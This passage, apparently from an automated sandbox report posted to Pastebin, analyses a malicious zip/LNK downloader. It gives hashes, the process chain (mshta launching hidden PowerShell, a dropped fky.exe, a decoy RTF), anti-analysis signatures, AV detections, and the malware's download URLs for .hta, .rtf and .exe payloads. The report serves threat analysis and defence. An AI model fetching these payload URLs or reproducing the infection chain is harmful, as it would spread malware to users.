API tools faq
paste
paladin316

Zips_8e1a05cbd43e0d56ab5a69a995778d37_zip_2019-06-30_15_30.json

paladin316
Jun 30th, 2019
2,344
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 309.88 KB | None | 0 0
raw download clone embed print report
  1.  
  2. [*] MalFamily: ""
  3.  
  4. [*] MalScore: 10.0
  5.  
  6. [*] File Name: "Zips_8e1a05cbd43e0d56ab5a69a995778d37.zip"
  7. [*] File Size: 778
  8. [*] File Type: "Zip archive data, at least v2.0 to extract"
  9. [*] SHA256: "672f7d3df9c93aca05de5d0eaab39af42d64bfc99a92c7a98a0d4db4eb4c94c2"
  10. [*] MD5: "8e1a05cbd43e0d56ab5a69a995778d37"
  11. [*] SHA1: "f8d08d85f4f6df1ecad45f295a8d7874da0128f3"
  12. [*] SHA512: "29a5940a40a6305ce7add28c8a11e39b0ad75e041d6a0cc9a1111ed62272b8ecf4ff1eda53f7910132965eba7190e17f9b380e129d2f42833cad0afe66408023"
  13. [*] CRC32: "9D60158C"
  14. [*] SSDEEP: "24:uGqd+2q9x/JDYtQl10Wymq5DfxrLAv1bGGdF:J1zzh4Q/vcrLWdF"
  15.  
  16. [*] Process Execution: [
  17. "cmd.exe",
  18. "powershell.exe",
  19. "mshta.exe",
  20. "powershell.exe",
  21. "WINWORD.EXE",
  22. "fky.exe",
  23. "attrib.exe",
  24. "services.exe",
  25. "OSPPSVC.EXE",
  26. "svchost.exe",
  27. "taskeng.exe",
  28. "taskeng.exe",
  29. "msoia.exe",
  30. "msoia.exe",
  31. "svchost.exe",
  32. "WerFault.exe",
  33. "wermgr.exe",
  34. "sdclt.exe",
  35. "taskhost.exe",
  36. "sc.exe",
  37. "svchost.exe",
  38. "svchost.exe",
  39. "svchost.exe"
  40. ]
  41.  
  42. [*] Signatures Detected: [
  43. {
  44. "Description": "At least one process apparently crashed during execution",
  45. "Details": []
  46. },
  47. {
  48. "Description": "Creates RWX memory",
  49. "Details": []
  50. },
  51. {
  52. "Description": "Possible date expiration check, exits too soon after checking local time",
  53. "Details": [
  54. {
  55. "process": "attrib.exe, PID 3728"
  56. }
  57. ]
  58. },
  59. {
  60. "Description": "A process attempted to delay the analysis task.",
  61. "Details": [
  62. {
  63. "Process": "WINWORD.EXE tried to sleep 265 seconds, actually delayed analysis time by 0 seconds"
  64. },
  65. {
  66. "Process": "OSPPSVC.EXE tried to sleep 300 seconds, actually delayed analysis time by 0 seconds"
  67. },
  68. {
  69. "Process": "svchost.exe tried to sleep 480 seconds, actually delayed analysis time by 0 seconds"
  70. }
  71. ]
  72. },
  73. {
  74. "Description": "Attempts to connect to a dead IP:Port (11 unique times)",
  75. "Details": [
  76. {
  77. "IP": "65.52.98.231:443"
  78. },
  79. {
  80. "IP": "141.105.69.247:80"
  81. },
  82. {
  83. "IP": "104.18.24.243:80"
  84. },
  85. {
  86. "IP": "23.34.140.38:443"
  87. },
  88. {
  89. "IP": "23.12.41.8:80"
  90. },
  91. {
  92. "IP": "104.70.212.97:443"
  93. },
  94. {
  95. "IP": "52.109.20.3:443"
  96. },
  97. {
  98. "IP": "72.21.91.29:80"
  99. },
  100. {
  101. "IP": "52.109.2.18:443"
  102. },
  103. {
  104. "IP": "52.109.2.14:443"
  105. },
  106. {
  107. "IP": "23.12.41.9:80"
  108. }
  109. ]
  110. },
  111. {
  112. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  113. "Details": [
  114. {
  115. "ioc": "gosttitle.xsl"
  116. },
  117. {
  118. "ioc": "ontent.inf"
  119. },
  120. {
  121. "ioc": "gostname.xsl"
  122. },
  123. {
  124. "ioc": "architecture.glox"
  125. },
  126. {
  127. "ioc": "ext.glox"
  128. },
  129. {
  130. "ioc": "chicago.xsl"
  131. },
  132. {
  133. "ioc": "sist02.xsl"
  134. },
  135. {
  136. "ioc": "iso690nmerical.xsl"
  137. },
  138. {
  139. "ioc": "rid.glox"
  140. },
  141. {
  142. "ioc": "..3b"
  143. },
  144. {
  145. "ioc": "iso690.xsl"
  146. },
  147. {
  148. "ioc": "ist.glox"
  149. },
  150. {
  151. "ioc": "quations.dotx"
  152. },
  153. {
  154. "ioc": "chevronaccent.glox"
  155. },
  156. {
  157. "ioc": "turabian.xsl"
  158. },
  159. {
  160. "ioc": "adial.glox"
  161. },
  162. {
  163. "ioc": "ccent.glox"
  164. },
  165. {
  166. "ioc": "gb.xsl"
  167. },
  168. {
  169. "ioc": "rings.glox"
  170. },
  171. {
  172. "ioc": "rocess.glox"
  173. },
  174. {
  175. "ioc": "mlaseventheditionofficeonline.xsl"
  176. },
  177. {
  178. "ioc": "rame.glox"
  179. },
  180. {
  181. "ioc": "ieee2006officeonline.xsl"
  182. },
  183. {
  184. "ioc": "e.gu"
  185. },
  186. {
  187. "ioc": "harvardanglia2008officeonline.xsl"
  188. },
  189. {
  190. "ioc": "rc.glox"
  191. },
  192. {
  193. "ioc": "anded.thmx"
  194. },
  195. {
  196. "ioc": "content.inf"
  197. },
  198. {
  199. "ioc": "asis.thmx"
  200. },
  201. {
  202. "ioc": "etropolitan.thmx"
  203. },
  204. {
  205. "ioc": "pictureorgchart.glox"
  206. },
  207. {
  208. "ioc": "set.dotx"
  209. },
  210. {
  211. "ioc": "uotable.thmx"
  212. },
  213. {
  214. "ioc": "iew.thmx"
  215. },
  216. {
  217. "ioc": "adge.thmx"
  218. },
  219. {
  220. "ioc": "arallax.thmx"
  221. },
  222. {
  223. "ioc": "eadlines.thmx"
  224. },
  225. {
  226. "ioc": "rop.thmx"
  227. },
  228. {
  229. "ioc": "nline.xsl"
  230. },
  231. {
  232. "ioc": "avon.thmx"
  233. },
  234. {
  235. "ioc": "rame.thmx"
  236. },
  237. {
  238. "ioc": "erlin.thmx"
  239. },
  240. {
  241. "ioc": "ividend.thmx"
  242. },
  243. {
  244. "ioc": "rail.thmx"
  245. },
  246. {
  247. "ioc": "ype.thmx"
  248. },
  249. {
  250. "ioc": "ircuit.thmx"
  251. },
  252. {
  253. "ioc": "g.n9"
  254. },
  255. {
  256. "ioc": "roplet.thmx"
  257. },
  258. {
  259. "ioc": "esh.thmx"
  260. },
  261. {
  262. "ioc": "late.thmx"
  263. },
  264. {
  265. "ioc": "eathered.thmx"
  266. },
  267. {
  268. "ioc": "amask.thmx"
  269. },
  270. {
  271. "ioc": "vent.thmx"
  272. }
  273. ]
  274. },
  275. {
  276. "Description": "A process created a hidden window",
  277. "Details": [
  278. {
  279. "Process": "mshta.exe -> powershell.exe"
  280. }
  281. ]
  282. },
  283. {
  284. "Description": "File has been identified by 6 Antiviruses on VirusTotal as malicious",
  285. "Details": [
  286. {
  287. "McAfee": "Suspicious ZIP!lnk"
  288. },
  289. {
  290. "McAfee-GW-Edition": "Suspicious ZIP!lnk"
  291. },
  292. {
  293. "Sophos": "Troj/DownLnk-AK"
  294. },
  295. {
  296. "AhnLab-V3": "LNK/Autorun.Gen"
  297. },
  298. {
  299. "Zoner": "Probably LNKScript"
  300. },
  301. {
  302. "Qihoo-360": "susp.lnk.script"
  303. }
  304. ]
  305. },
  306. {
  307. "Description": "Drops a binary and executes it",
  308. "Details": [
  309. {
  310. "binary": "C:\\Users\\Public\\fky.exe"
  311. }
  312. ]
  313. },
  314. {
  315. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  316. "Details": [
  317. {
  318. "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"
  319. },
  320. {
  321. "suspicious_request": "http://finlitex.com/wp-errors/document.rtf"
  322. },
  323. {
  324. "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  325. },
  326. {
  327. "suspicious_request": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  328. },
  329. {
  330. "suspicious_request": "http://finlitex.com/wp-errors/hardware-manager.exe"
  331. }
  332. ]
  333. },
  334. {
  335. "Description": "Performs some HTTP requests",
  336. "Details": [
  337. {
  338. "url": "http://zeronde.in/download/document.hta"
  339. },
  340. {
  341. "url": "http://finlitex.com/wp-errors/document.rtf"
  342. },
  343. {
  344. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  345. },
  346. {
  347. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  348. },
  349. {
  350. "url": "http://finlitex.com/wp-errors/hardware-manager.exe"
  351. }
  352. ]
  353. },
  354. {
  355. "Description": "Queries information on disks, possibly for anti-virtualization",
  356. "Details": []
  357. },
  358. {
  359. "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
  360. "Details": [
  361. {
  362. "Spam": "services.exe (500) called API GetSystemTimeAsFileTime 2429676 times"
  363. }
  364. ]
  365. },
  366. {
  367. "Description": "A potential decoy document was displayed to the user",
  368. "Details": [
  369. {
  370. "Decoy Document": "\"c:\\program files (x86)\\microsoft office\\office15\\winword.exe\" /n \"c:\\users\\public\\fky.rtf\" /o \"u\""
  371. }
  372. ]
  373. },
  374. {
  375. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  376. "Details": [
  377. {
  378. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00{\\x03\\x01]\\x18\\xca\\x0b<\\xc4\\xfe\\xb5ny\\x80g\\x0fv\\xfe{~m\\xd9\\xf6r\\xb5i\\x1cna\\xc9\\xc3\\x9d\\x06l]\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1coffice15client.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  379. },
  380. {
  381. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04t\\x9e\\x14\\x06\\x0c\\xa6\\xb3\"\\xf4\\xe4l5l\\xd9:\\xd3pp\\x07\\x1b\\x8fw<\\xf8f\\xe5\\x97\\x0c\\x08\\x85\\xec6\\xeb<\\xdb53f.\\xce\\x9e'9\\x91\\xe8\\xfb\\x98\\x91j\\x92s\\xe54h\\x91\\x17\\xb0\\x86/j\\x17r*\\xea\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000j!}\\xed\\xe3\\x0b\\x9f=\\x14\\xbb\\xe4\\xd1\\xe0\\x84\\xa4\\x82\\xa1\\xba\\xe3\\xe5z\\xa5\\xca\\xa6oq\\xf1\\xa2\\xfe\\xb3ya\\x04\\xfb\\xf9\\xa8\\xd7&\\xf4\\xbc\\x0b\\xd0\\xba6\\xe2\\xb3]z"
  382. },
  383. {
  384. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xdc\\xa9\\xe9>#\\xbf5ay\\x05\r\\xd6\\xa1m\\xc1:\\xfeg\\x9d\\xed\\x16\\x9a\\x9c\\xc6\\xb9m\\xd0\\xe4\\xa5\\x86\\x1e\\xfbfb\\xe54b\\xb3\\xb0f\\x14\\x1a\\xaf\\xe9\\xf7\\xff$w\\x8f\\x15\\xcdv\\xe0f\\xbc\\xe0\\xc2\\xb4\\x1fwg\\x19i\\x03\\xfc\\x13\\xad\\xca\\xf9geqx\\xa0\\xc4\\xc9&\\xc1\\xee\\xbe\\xb3\\x08\\xe1\\xe7\\xb7\\x17\\xd3i\\xf8t\\x0f\\xa6hj`h?\\xb0\\xd3}\\xa0\\xa5\\xf9\\xb74\\xe8?\\xcf\\xc1\\xa1\\x99?z\\xae\\xc1@f\\xcd\\xa2j\\xa5r\\xe3\\xb8\\xf5\\x92\\x13o\\x9f\\xf2\\xb7\\x04r('\\x96es\\x05\\x8d\\x87\\x01\\xa9by\\xb6\\xeee2\\x8eb3\\xa0qh\\xb5m\\x89\\x1b\\xfbi^\\x0b\\xefl\\xcdptr5\\x7f\\xe8|+p\\xaa\\xb8\\xf5<\\xb4\\x80\\x93\\xdb\\x93\\x0b/\\xf2\\x0bzk\\x99\\x1f*x@po\\xc2_\\xfa\\x0cn\\xc5^\\xfa\\xe8\\x81e\\xc5/\\x0fwcl\\x1e,\\xe9\\xf9\\x86\\x8bi,vv\\xb1\\xdb!go\\xb5\\xe8hj'(w\\x9e\\xfd4\\x8c\\x93\\xd9\\xf6[\\x95\\x0e\\x11\\xa9\\xb1\\xcdt"
  385. },
  386. {
  387. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x01]\\x18\\xca\\x0cu\\xe5b\\x8a\\xc9\\xe4\",\\xc3\\xe3\\xa5\\xf4g8\\xfbj\\xfd\\xcc\\xa7\\xff\\xf3\\xee\\xa5\\xe6\\xefz\\x01\\x19\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  388. },
  389. {
  390. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x02\\xe7m#\\x00\\xc3\\x84j\\xb3;\\x1f\\xad\\x17\\x0e\\xc0\\x0f\\x9a1qf\\xc7\\xce\\xe0\\xe6y\\xdf;\\x02\\xbc\\xdb\\xe6\\xa9+/\\x832\\xfd\\xf4 ]\\x03r\\x8b\\xbam\\x0f\\xbf\\x7f\\xc3$r\\xe7h\\xe65f\\x94\\xe4<\\x81b\\xbb\\xd5\\xf4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe6qhh\\xdb\\xc8\\x80\\xc5x\\x01\\xb5\\x95\\x05\\xd3\\xff|pash`\\xd8\\xfb\\x93@\\xc9x'\\xc9f\\xc7\\xc9i|\\xcd\\xb2.r\\xe3\\xf5\\x8e\\x9d\\xd04\\x0bt\\xc6^"
  391. },
  392. {
  393. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01]\\x18\\xca\\x0c\\xf8\\x9bs\\xac\\xfb\\xab\\x88\\xaa\\xe4\\x86\\xecyj\\xea\\xb8%+\\xebc\\xb6\\xd7\\x00\\xca\\x1e\\x8a|*\\xfc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  394. },
  395. {
  396. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd8\\xa4bw\\xb0jr\\xa1#\\x04n\\xb7\\xc5\\x8a5\\xee\\xc3\\x02\\x91\\xc8\\x01\\xaf\\xce\\xe6m2mn\\x84\\xde\\xa4;\\xcbd\\x83\\x06tdfr\\x9d_\\xfb\\xe1\\xb8\\x8b!\\xde\\xee[\\xbd\\xb7:\\xf068t\\xf5'\\x14\r.^\\xd3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbb\\xaa\\x88\\xcb\\xa3\\x1c*\\x8a?\\xfa\\x96j\\x98\\xac\\xc9<\\xd6\\x84#\\xb53\\xde\\xb1\\xef\\xf4m\\x00ir`o\\xef\\xaa\\x85\\x89\\x1e\\xce\\xba\\xd2h\\x0ej\\xa4\\x14\\xc1\\x90\\x08\\x8d"
  397. },
  398. {
  399. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"
  400. },
  401. {
  402. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xe62\\x04q\\x1fm\\xc1ixh\\x80g\\xb7\\x98>\\xd0\\x9c\\xc5\\xf7\\xfel{\\xc3\\xab\\xf4\\xd3im\\xf9*\\xd5\\xe3pv\\xc0up\\x93\\xc6\\x10\\xf6\\xcb\\x81\\xeb\\x96\\x16\\xab\\x93\\xbb\\x19\\xc0\\xea\\xd5\\x8a\\x9f\\x8d=.r\\xb5fi\\xbdm\\xc3q\\x0b>\\xe0\\xae\\xcfo\n\\x98-q\\x86\\x87n\\xe6\\x91\\x88.\\x06qh\\xd2c\\xa79\\xad\\xbee&\n\\x88q\\x98\\xa7|\\xeez\\xa1\\xcbg\\xce\\xc7\\xa1\\x95\\xe9m\\xde\\xaa\\x91\\x18z0\\xb0\\xc2\\xd59s(,\\x03.e9\\xc0i\\x0e{\\xf1\\x94di\\x82\\xb1\\\\xe6q<\\xce\\xadmu\ny\\xe0\\x9abh\\xc6\\xd0\\x81\\xb95\\xec\\xa8\\xd6\\x92\\xab\\xdc\\xe5\\xd80\\x98\\x85_4\\x18\\xcc\\xc2\\xe1\\xc0_\\xe2\\xa3\\x89\\x85)\\xdb\\xb6\\x11\t\\xf5\\x9eg\\x1be\\xd9\\xb66+\\xf6\\xf1\\xd6\\xfc-\\x92\\x16\\xff\\xa6\\xe2\\xe0\\x90\"ce\"!\\xbco\\xb4\\x9f\\xd9\\x0eic\\xbb&\\xda[\\xcdiu\\xff\\x94\\xa4$\\xe2p\\xdb\\x89yj\\x08\\x15\\xce\\xa7l1hn\\xde\\xd1$\\xc8\\x0bm\\xdf"
  403. },
  404. {
  405. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  406. },
  407. {
  408. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\x8f\\x9f\\x07\\xa4\\xfc\\xb2j\\xd0\\x98;\\x95\\x0c/{f\\xd0\\xac\ne#\\x8ey\\x196\\x11\\xee\\xaf?\\x1d\\xa9\\xc0s\\xed2\"\\x19\\x7fbe\t\\xeeq.\\x11.\\xb8\\xae\\x81\\x00\\x1c\\xd9\\xe7\\xd53\\xc1hj\r\\xa4\\x8f<6\\xd0\\xb0cl:g\\x97\\x90t3?\\xb5\\x89\\x87}=\\xf0\\x94l\\xcfk\\xe9\\xd74\\xfa\\xa5\\xc62k5\\xe4y\\xcc\\xf0o|\\xc8g\\x9f\\xa4\\xf8\\x80w\\xac\\xa3\\xc7\\xe4\\x06\\xc9\\xf4\\x97\\x9c\\xa7\\xb5d\\xb1\\xfa\\x9b\\x95(\\x10\\x18\\x97\\xf3\\xc7\\xb9\\xb3\\xde5dkh\\xb5u*\\xb0)\\x0b\\xe7\\xcf\\x9byy)\\xcc\\xc8\\xc4\\xba\\xea\"_\\xf1<\\xe0\\x9b\\xab\\xd7b\\xec(\\xdd\\xdb\\x1e\\xa3\"\\x8dh\t\\x89\\xc2\\x83\\x9cu\\xec\\x82\\xfa\\x9e\\xb2\\\\x9e|t\\xc7y\\xdf\\xda\\x13)q\\x18\\x82xf9\\x17r\\xef\\x05c\\x9f\\xe5\\x8c\\x03h\\xdbg\\x04\\x88\\xac\\xd3\\xd9\\x1bn\\x0f\\xa8s\\xe6q^\\xf2\\xb8\\xee\\xf0_>\\xe1\\xdf\\xd8\\x16)v\\x14%e)}o\\x8a\\xd5\\xcc\\xdb\\xf22\\x98a\\xea\\xfb\\x9c\\xe4"
  409. },
  410. {
  411. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 \\x84\\x89\\x9a\\x07\\xdb\\x8f\\x0c\\xa5\\xf3\\xdf\\xe1m%k\\xce\\x01r\\xe3\\xe2\\xdc\\xa3\\xb7\\x9a\\x1c\\xf7\\xad\\xe0h\\xbb\\x9a umh5\\x1ep\\x80d\\xd6\\xa49\\xd7\\xa2\\xb4\\x0e\\x0fe\\x0f]_\\xb0\\xcd\\xfe\\xf9\\xc3\\xf9`\\x94\\x98`\\xa7\\xb9x\\x1cbh\\x16c4\\xed\\x93\\xee\\xe2<\\xc7\\x15u*\\xdbm\\x82\\xa7\\x8ak\"-\\xe0\\x7f\\x08:\\x83qb\\xfagi\\x11\\xbb\\xf5'\\xfdq\\x0c\\x83''w\\xa0\\x80\\xdb\\xecf\\xf9\\xa5\\x04<\\xc4\\xbf\\xaf\\xf3v\\xaa\\x93\\x17y\\x86\\xc4\\x1b\\x15\\x8e\n\\x0fu \\xe1oe\\xd2\\\\xaf\\x94:\\xae\\xd3\\xf8\\x8e\\x19l+\\xd0\\xb8\\xcer\\xf7phg\\xd9\\xf6\\x84a\\xa4b\\x97\\xfa| o\\xa6\\xa0\\xdb\\xf1px\\xc8s\\xbd\\x95c\\x14\\xae\\x8ar*\\xd2\\xec\\xa6\\x0ft\\x04\\xe7\\xc3\\x16\\xfc.7f\\xd1\\x9d\\x17\\x1d\\x1c\\x8e\\x90\\x08\\x05\\xa2f\\x88&\\x10\\xed\\xf4\\xc9\\xa9\\xb4\\xda\\xear\\xa5\\x81\\xfd\\xc3\\xce.\r3\\\\x0f\\x9a\\xc3&\\xda\\xbb\\x9c\\x1f9\\xcb\\xa8%?n\\xb1\\xd8\\xfb\\x8ccxi\\xc4"
  412. },
  413. {
  414. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00}\\x01\\x00\\x00y\\x03\\x01]\\x18\\xca\\x11\\xd9\\x02\\xed\\x13e\\xed\\xf1w\\xfe\\x00\\x0c}d\\x8fv\\xbb\\x88\\xb9m<\\xfa]at\\xd7\\x1c\\xa7q\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  415. },
  416. {
  417. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfc\\xa3\\xe1\\xbe\\xc8\\xb6h\\xbe\\x82\\xb3wn\\xf2\\xee\\xfc\\x19\\x03r[\\xde\\xa7\\x00\\x15\\x85\\x87\\xe4\\xce{\\xf2e\\xc2\\x1ee\\xa1-\\x98\\xff\\xf0\\xf6\\xb6\\x13\\x88\\xec:\\xd5\\xa0\\xe1g\\x08\\xd1\\xe0\\x90\\xd2\\xa2\\xfe\\x04\\x01b.c\\xd4q;k\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000.0{\\x97\\x01*\\xd6'`\tl\\xc7\\xea\\x7f\t\\xaexg\\xcc\\xa2\\xfc\\x1b\\x02\\x05\\xee!\\x92\\xa6\\xfa\\xc1\\xa1\\x01zi\\xb9\\xb6<l1\\xca\\xff\\x1a#_=l^\\xb0"
  418. },
  419. {
  420. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xdb\\x87\\x06ld5\\xadbr=d\\xe6kb\\xe0;\\xaf\\xd3^\\xce\\xa1\\x16\\x96<\\xdf\\xdf\\xde\\xa9\\xa4\\xf16\\\\x85\\x8c\\xa4\\x9e\\xd9\\xec{\\x81\\xc0\\xcd\\xcf\\x1f{o:wfrhz\\x13<\\xfd\\xcb\\x7fmodpw\\xf3\\xa8u\\x9a\\xc7o\\x0f\\xd9;a\\xdc\\xa3m\\xda\\xb7\\x1d\\x00\\x8c\\xb5a\\xdaw`\\xbbp\\x86u\\xda$cl?\\xa2\\x8bn!b#\\xce\\xfb\\xa5\n\\x8b\\xb0*m\\xb2\\x9c\\x90\\xbd;\\x8f\\xa4\\xfcnk\\xfa*8\\xea\\xdeid\\x9e\\x00\\xeb\\x01\\xa3\\xd7d\\x17\\x9b\\xc1&g\\xdd\\x93\\x907;\\x1d\\x8d\\x8az\\x1c\\x81\\x00\\xaeb\\xf3h:\\xae\\xab\\xbc\\x00\\xa0\\xed\\xd7rm\\xba\\xf7g\\x01q\\x8fn\\x15\\xf0\\xa1\\x89\\xc6\\x8a\\x01\\x87\\xa1:\\x0es\"#\\x175i\\x822p\\x10\\x87\\x97@\\x9agx\\x81 \\x9d\r\\x95\\xbd\\x13\\xcf\\xa0\\x0b=\\x0c\\xf0\\xef.\\x07vn\\xbf\\x18w\\xd7\\xb7\rl7\\x95w]\\xc6\\xa7\\xdd\\x98\\xd7\\xb6\\xdd\\x9f#\\x83\\xdb\\xb0e\\xa2\\xc5\\xb8\\x0czjq\\xa6\\xc3\\xe8\\xcd."
  421. },
  422. {
  423. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12d\\xc2\\x1146<6\\x18k0\\xa8\\xe5\\x96\\xce}\\x02\\xe0\\x98s\\xa8\\xcf\\xc5\\xa3'{\\xf7\\x81b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  424. },
  425. {
  426. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xea\\xf6#.\\xd5\\x83\\xc6\\xd8\\xee9#\\xf9v\\xb4\\xec.m\\xa6\\x9f\\xcei-\\xf2 w{\\x12\\x1c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  427. },
  428. {
  429. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12g\\x9d\\xf0\\xeb\\xb7v/\\xbf\\x82w\\xb9\\x8c\\x0bd\\x1e\\xb2\\xe4\\xa6_ki\\xc3g@\\x06\\xfc\\xa7\\x0c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  430. },
  431. {
  432. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xbf\\xc95|\\xe4\\xbdds\\xc4\\xd5\\xb1\\xed\\x91\\x0b\\x98\\xad\\x89\\x83\\x97\\xb8d \\xf6yf\\xf2\\xc20\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  433. },
  434. {
